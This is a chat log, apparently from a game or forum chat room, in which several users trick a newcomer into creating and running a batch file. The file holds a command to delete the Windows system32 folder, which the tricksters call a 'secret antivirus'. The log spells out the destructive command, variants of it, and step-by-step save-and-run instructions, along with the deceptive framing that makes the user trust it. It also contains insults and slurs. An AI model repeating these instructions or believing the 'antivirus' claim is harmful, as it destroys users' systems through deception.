Noobiegoboom

Maeth: Well, I think it’s a legitimate question when you’re talking about homosexual kids under the age of 18.
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Noobiegoboom: hey, tux
MisouAngel: You’d let it get infected, then you would reinstall?
Morkimsulriath: I walked away from boxia for few hours
Noobiegoboom: there’s this thing that will solve your computer
MisouAngel: Man, you are ****ing retarded.
Noobiegoboom: It’s a secret antivirus
Morkimsulriath: fonjgsdaibfgsfdajn
tuxdudeguy: lol
Morkimsulriath: what tux
Noobiegoboom: which is unlocked when you delete a certain file
MisouAngel: Noobie
MisouAngel: Don’t tell him
MisouAngel: He doesn’t deserve to know
Noobiegoboom: Misou knows it
MisouAngel: Flat out.
Noobiegoboom: He did it as well, and his computer has no viruses
Morkimsulriath: Actually tux
Morkimsulriath: You have to delete system32
MisouAngel: Mork, damnit
Noobiegoboom: mork, I’ll tell him how
MisouAngel: He doesn’t deserve to know that
Morkimsulriath: Damn
Noobiegoboom: Alright, tux, there’s a program on your computer called notepad
MisouAngel: ****, now this fool is gonna act like he knows some shit.
Morkimsulriath: Shit
MisouAngel: Noobie, you tell him and I’m muting you.
Noobiegoboom: Misou, I need to tell him!
Morkimsulriath: And reporting
Morkimsulriath: NOO
Morkimsulriath: Don’t
Idleisaac: It’s kay. I got this.
Noobiegoboom: I want to help him!
tuxdudeguy: :o
MisouAngel: He doesn’t deserve it though
Noobiegoboom: Alright, you guys will hate me for this
MisouAngel: He’s been here for hours acting like a fool
Morkimsulriath: w/Noobiegoboom also don’t tell him to put a magnet over his hardrive to recover any lost files
Morkimsulriath: SHIT
Noobiegoboom: but I’m telling him
MisouAngel: Why help him
Morkimsulriath: PM FAIL
Morkimsulriath: don’t read that
Idleisaac: Open your case. Take out the CPU and eat it.
Noobiegoboom: ^
Idleisaac: It will give you it’s power
Noobiegoboom: that works as well’
tuxdudeguy: …
Morkimsulriath: uh
Morkimsulriath: heh
Idleisaac: And if you OC’d it, I’d also eat a few batteries.
Noobiegoboom: Alright, gents
Idleisaac: And maybe a fan
Noobiegoboom: here’s how you do it
Noobiegoboom: Tux, open up a program called notepad.
MisouAngel: God damnit Noobie, I thought you was a friend
MisouAngel: Muting.
tuxdudeguy: ok
Noobiegoboom: Type these in, on separate lines:
tuxdudeguy: sec
Noobiegoboom: echo off Morkimsulriath: Don't make me spam noobie to flood the chat... Noobiegoboom: del C:\\WINDOWS\system32 MisouAngel: Is he telling him? Noobiegoboom: err Morkimsulriath: He's telling him! MisouAngel: Just mute him. If he's gonna help that fool, **** it. Noobiegoboom: that last one is all in one line Morkimsulriath: aight Noobiegoboom: And, also, "err" isn't part of it. Morkimsulriath: muted noobie for being bad >:c tuxdudeguy: why should i delete windows? MisouAngel: LOL MisouAngel: tuxdudeguy: i know more about computers than u all put together, but what ur saying about norton is news to me if not a lie Noobiegoboom: System32 is a locker for a really good antivirus Noobiegoboom: when you delete it then your computer will automatically use it Noobiegoboom: Now, are you still here? Noobiegoboom: This part's a bit tricky. tuxdudeguy: im here tuxdudeguy: so @acho and off in separate lines tuxdudeguy: @echo* tuxdudeguy: ? Noobiegoboom: No, they're in the same line. MisouAngel: lol He's not even able to do it right Noobiegoboom: "del C:\\WINDOWS\system32" goes in the next line. tuxdudeguy: ok got it Idleisaac: Nah. Do del*.* tuxdudeguy: srsly dont fk up my pc tuxdudeguy: i trust u Noobiegoboom: So there should be two lines now, "echo off" and “del C:\\WINDOWS\system32”
Noobiegoboom: Alright, now
tuxdudeguy: ok
Noobiegoboom: here’s the tricky part
Noobiegoboom: Go up to “file”
Noobiegoboom: click “save as”
To Noobiegoboom: lol omg, is he really gonna fall for it?
Idleisaac: del C:\\WINDOWS\system32 /y, correct?
Noobiegoboom: I guess. (reply)
To Noobiegoboom: I love you.
Noobiegoboom: Now, listen.
tuxdudeguy: save as what?
Noobiegoboom: Where it saves “save as type”, you need to choose “all files”
tuxdudeguy: ok
Noobiegoboom: Save it as “clean.bat”
Noobiegoboom: And save it in an easily reachable location, for example your Downloads folder.
Noobiegoboom: Now, this file should be a .bat
tuxdudeguy: how i select all files?
Idleisaac: Ogod, I completely forgot how to navigate in the command prompt.
Noobiegoboom: As I said
Idleisaac: D:
Noobiegoboom: beneath the file name bar
Noobiegoboom: there should be something that says “text document”
tuxdudeguy: kk got it
Noobiegoboom: You need to change that to “all files”
tuxdudeguy: ok
Noobiegoboom: Now, save it.
Morkimsulriath: oh my god
Noobiegoboom: Watch when he logs off, I want to know if he’s trolling. (reply)
Morkimsulriath: you told him
tuxdudeguy: file name?
Noobiegoboom: As I said
Noobiegoboom: “clean.bat”
To Noobiegoboom: I’ve been watching
Morkimsulriath: stop et dun tell
Noobiegoboom: no, mork
Noobiegoboom: he needs to know
Morkimsulriath: ****ing serious
Noobiegoboom: Alright, now
Noobiegoboom: double click this .bat file
tuxdudeguy: sec
tuxdudeguy: now i saved it
Noobiegoboom: Alright, it’s saved as “clean.bat”, correct?
Noobiegoboom: Double click this file.
tuxdudeguy: saved as “clean”
tuxdudeguy: i did
Noobiegoboom: no, no no
Noobiegoboom: It needs to be clean.bat
tuxdudeguy: i typed clean.bat but saved as clean
Noobiegoboom: Ah, that works.
Noobiegoboom: Now, double click this file.
tuxdudeguy: i did
tuxdudeguy: a window with black backround popped and it dissapeared in 3 sec
Noobiegoboom: Alright.
Noobiegoboom: Now, reboot your computer and your antivirus will be running.
tuxdudeguy: ok
tuxdudeguy: brb
Noobiegoboom: if he doesn’t come back in an hour, it works. (reply)
To Noobiegoboom: XD
To Noobiegoboom: He’s still logged in
Morkimsulriath: sigh
Noobiegoboom: shh
Morkimsulriath: …
MisouAngel: There he goes
MisouAngel: He’s gone